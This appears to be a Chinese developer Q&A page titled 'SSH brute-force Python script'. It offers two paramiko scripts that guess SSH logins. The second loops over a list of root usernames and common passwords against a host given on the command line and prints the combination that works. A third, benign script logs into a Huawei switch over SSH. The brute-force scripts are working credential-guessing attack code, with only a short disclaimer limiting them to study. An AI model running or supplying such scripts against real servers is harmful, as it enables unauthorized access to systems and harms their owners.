ssh爆破python脚本
时间: 2023-12-20 21:32:03 浏览: 37
```python
import paramiko
def ssh_connect(ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, 22, username, password)
print(f"SSH Password Found: {password}")
except paramiko.AuthenticationException:
print(f"SSH Password Incorrect: {password}")
except Exception as e:
print(f"Error occurred: {e}")
ssh.close()
# 调用ssh_connect函数进行爆破
ssh_connect('192.168.0.1', 'username', 'password123')
```
相关问题
python ssh 爆破_ssh爆破(python脚本)
SSH爆破是指通过尝试不同的用户名和密码组合来破解SSH服务的登录密码,以下是一个简单的Python脚本实现SSH爆破:
```python
import paramiko
import sys
# 定义需要尝试的用户名和密码列表
usernames = ['root']
passwords = ['123456', 'password', 'admin', 'root']
# 定义SSH客户端连接函数
def ssh_connect(ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port=22, username=username, password=password, timeout=5)
except:
ssh.close()
return False
ssh.close()
return True
# 定义主函数
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Usage: python ssh_brute.py <ip>')
sys.exit(0)
ip = sys.argv[1]
for username in usernames:
for password in passwords:
if ssh_connect(ip, username, password):
print('Success: username=%s, password=%s' % (username, password))
sys.exit(0)
else:
print('Failed: username=%s, password=%s' % (username, password))
```
注意:此脚本仅用于学习和研究目的,请勿用于非法用途。
华为交换机ssh python脚本
以下是一个使用paramiko模块登录华为交换机的SSH Python脚本的示例:
```python
import paramiko
# 创建SSH客户端对象
ssh = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接交换机
ssh.connect('交换机IP地址', port=22, username='用户名', password='密码')
# 执行命令
stdin, stdout, stderr = ssh.exec_command('display version')
# 获取命令输出结果
output = stdout.read().decode()
# 关闭SSH连接
ssh.close()
# 打印输出结果
print(output)
```
请注意,你需要将代码中的`交换机IP地址`、`用户名`和`密码`替换为实际的登录信息。